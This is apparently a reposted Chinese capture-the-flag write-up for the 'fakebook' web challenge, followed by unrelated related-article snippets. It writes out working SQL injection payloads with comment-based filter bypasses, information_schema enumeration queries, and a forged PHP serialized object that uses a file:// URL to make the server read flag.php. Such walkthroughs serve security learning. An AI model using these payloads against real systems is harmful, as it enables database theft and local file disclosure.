fakebook-攻防世界

题目

先目录扫描一下

dirseach

 打开flag.php是空白的

 访问robots.txt,访问user.php.bak

 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

但是好像没用

正常注册一下

 

 这里发现有no=1试一试sql注入

加个'报错  可能存在注入

 1 and 1=1 正常

1  and 1=2 报错

1' and 1=1 --+报错

1' and 1=2 --+报错

确定是数字型注入

爆字段1 order by 4正常

1 order by 5报错,确定字段是4 

  爆显位

1 union select 1,2,3,4

但是被过滤了

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客 

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#
 
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#

no=-1 /**/union /**/select 1,2,3,4

说明显位是2

爆库名

view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#

-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

 

爆表名

-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

 爆字段

-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据

-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users

 发现是我们注册时被序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} 

得到一个现成的序列化数据我们能否模仿

通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} ' 

页面正常起来了

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

利用php伪协议读取,flag文件嘛

修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径

s:4:"blog";s:29:"file:///var/www/html/flag.php"; 

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ' 

打开源代码中发现

点击

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800467.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年【道路运输企业主要负责人】报名考试及道路运输企业主要负责人证考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 道路运输企业主要负责人报名考试根据新道路运输企业主要负责人考试大纲要求&#xff0c;安全生产模拟考试一点通将道路运输企业主要负责人模拟考试试题进行汇编&#xff0c;组成一套道路运输企业主要负责人全真模拟考…

【测试开发学习历程】python推导式

Python当 目录 1 列表推导式 2 字典推导式 3 集合推导式 4 生成器推导式 中有如下的推导式&#xff1a; 列表推导式 字典推导式 集合推导式 生成器推导式 推导式的作用是可以快速地生成一个列表、字典或者集合&#xff0c;同时简化代码。 下面我们来介绍一下python中…

vue vue3 日期时间组件分装,三种不同的效果

写在前面&#xff1a; 基于elementPlus前端组件库&#xff0c;实现了两种日期时间组件的自定义封装&#xff1a; 1.第一种&#xff0c;年月日 2.第二种&#xff0c;年月周日 3.第三种&#xff0c;年月日 一、年月日自定义组件的封装 实现效果&#xff1a; 参考链接&#xff1a…

[C语言]二分查找

进行二分查找的前提是在一个有序排列的数组中查找指定元素。 例如&#xff0c;对一个升序排列的整型数组进行二分查找&#xff1a; // 二分查找 // 参数1&#xff1a;arr--需要传入一个有序的、按升序排列&#xff08;从小到大&#xff09;的整型数组 // 参数2&#xff1a;len…

系统学习Python——装饰器:验证函数的参数案例-[实现细节:函数内省]

分类目录&#xff1a;《系统学习Python》总目录 装饰器的代码依赖于内省API和对参数传递的微妙限制。为了完全地通用&#xff0c;原则上我们可以完整模拟Python的参数匹配逻辑&#xff0c;来看看哪个名称以何种模式传入&#xff0c;但是这对于我们的工具来说太复杂了。如果我们…

VueDraggablePlus 支持 Vue2 和 Vue3 的拖拽组件

官网&#xff1a;https://alfred-skyblue.github.io/vue-draggable-plus/

【大功率汽车大灯升压方案】LED恒流驱动芯片FP7208升压车灯调光应用,PWM内部转模拟,调光深度1%,无频闪顾虑,低亮无抖动

宝马X5前中排座椅宽大舒适&#xff0c;车厢内储物空间丰富。操控性能极佳&#xff0c;底盘稳扎精良。原车为氙气灯&#xff0c;其实宝马的氙气大灯配的比其他车型要好&#xff0c;照明效果是没得说的。但是不管什么灯久了都会出现光衰的情况。下面这辆宝马X5车灯已老化严重。 宝…

14届蓝桥杯省赛 C/C++ B组 T4 飞机降落 (DFS)

记录此题提醒自己&#xff0c;此类时间轴问题可以通过DFS解决 DFS不是能解决所有题吗 对于此题&#xff0c;我们将降落的飞机的个数和时间轴作为DFS的形参&#xff0c;这样可以节省手动回溯的过程。 并且在DFS的过程中我们要加入一些贪心策略&#xff0c;否则直接爆搜有可能搜…

怎么使用jwt,token以及redis进行续期?

怎么使用jwt&#xff0c;token以及redis进行续期&#xff1f; 什么是jwt? 什么是token? 结合 JWT、Token 和 Redis 进行续期的一般步骤&#xff1a; 生成 JWT&#xff1a; 用户登录成功后&#xff0c;服务器生成一个 JWT&#xff0c;并返回给客户端。 import io.jsonwebtok…

云原生周刊:2024 年 K8s 基准报告 | 2024.4.8

开源项目推荐 Argo CD Image Updater Argo CD Image Updater 是一个自动更新 Argo CD 管理的 Kubernetes 工作负载容器镜像的工具。简而言之&#xff0c;它将跟踪 Argo CD 应用程序资源上的注释指定的图像版本&#xff0c;并通过使用 Argo CD API 设置参数覆盖来更新它们。 …

【java】java虚拟机JVM

类加载器&#xff08;Class Loader&#xff09; 负责将类的字节码加载到内存中&#xff0c;并生成相应的 Class 对象。类加载器通常采用委托模型&#xff0c;根据特定的加载规则从不同的位置加载类&#xff0c;如本地文件系统、网络等。 运行时数据区 方法区&#xff08;Met…

张老师语录

1. 写文章要点 &#xff08;1&#xff09;整体文章的必须有题目 &#xff08;2&#xff09;必须要有问题描述 &#xff08;3&#xff09;一个文档中的定义是连续的 &#xff08;4&#xff09;在定义中的一些参数符号&#xff0c;不要直接赋值&#xff0c;而是在实验中进行说明 …

yolov8安全帽检测项目开发(python开发,带有训练模型,可以重新训练,并有Pyqt5界面可视化)

不需要程序&#xff0c;只需要数据集的&#xff0c;想自己搭建模型训练的&#xff0c;可以免费下载&#xff08;积分已经设置为0&#xff09;&#xff1a;https://download.csdn.net/download/qq_40840797/89100918 1.项目介绍&#xff1a;&#xff08;视频运行链接&#xff1…

小米SU7会是年轻人第一台“保时米”吗?

2021年3月30日&#xff0c;小米创始人雷军在公开演讲中宣布造车&#xff0c;称 “小米汽车将是我人生中最后一次重大的创业项目&#xff0c;我愿意押上我人生所有积累的战绩和声誉&#xff0c;为小米汽车而战&#xff01;” 雷军表示未来十年&#xff0c;小米将投入100亿美元造…

AI创业项目--个性化旅游规划助手

一个集合了最新人工智能技术、用户界面友好、并且高度个性化的旅行规划工具。它能够理解并预测用户的偏好和需求&#xff0c;提供量身定制的旅行建议和完整的旅游计划。以下是这个产品可能包含的特点和功能&#xff1a; 用户界面&#xff08;UI&#xff09;和用户体验&#xf…

YOLOV8注意力改进方法:DilateFormer多尺度空洞 Transformer(附改进代码)

原论文地址&#xff1a;原论文下载地址 即插即用的多尺度全局注意力机制 本文提出了一种新颖的多尺度空洞 Transformer&#xff0c;简称DilateFormer&#xff0c;以用于视觉识别任务。原有的 ViT 模型在计算复杂性和感受野大小之间的权衡上存在矛盾。众所周知&#xff0c;ViT…

socket之UDP组播(多播)

组播也可以称之为多播这也是 UDP 的特性之一。组播是主机间一对多的通讯模式&#xff0c;是一种允许一个或多个组播源发送同一报文到多个接收者的技术。组播源将一份报文发送到特定的组播地址&#xff0c;组播地址不同于单播地址&#xff0c;它并不属于特定某个主机&#xff0c…

测试必备:网站崩溃原因大揭秘!12种常见问题一网打尽

网站崩溃是研发团队最怕看到的情况&#xff0c;但是由于种种原因却时常出现&#xff0c;作为测试人员&#xff0c;我们更应该比一般人了解网站崩溃的原因及排查方法&#xff0c;这是我们测试工作的重要一环。接下来我就谈谈12种常见的网站崩溃原因以及如何跟踪和解决它们。 你的…

【JavaWeb】Day33.MySQL概述

什么是数据库 数据库&#xff1a;英文为 DataBase&#xff0c;简称DB&#xff0c;它是存储和管理数据的仓库。 像我们日常访问的电商网站京东&#xff0c;企业内部的管理系统OA、ERP、CRM这类的系统&#xff0c;以及大家每天都会刷的头条、抖音类的app&#xff0c;那这些大家所…

【LangChain学习之旅】—(19)BabyAGI:根据气候变化自动制定鲜花存储策略

【LangChain学习之旅】—(19)BabyAGI:根据气候变化自动制定鲜花存储策略 AutoGPTBaby AGIHuggingGPTLangChain 目前是将基于 CAMEL 框架的代理定义为 Simulation Agents(模拟代理)。这种代理在模拟环境中进行角色扮演,试图模拟特定场景或行为,而不是在真实世界中完成具体…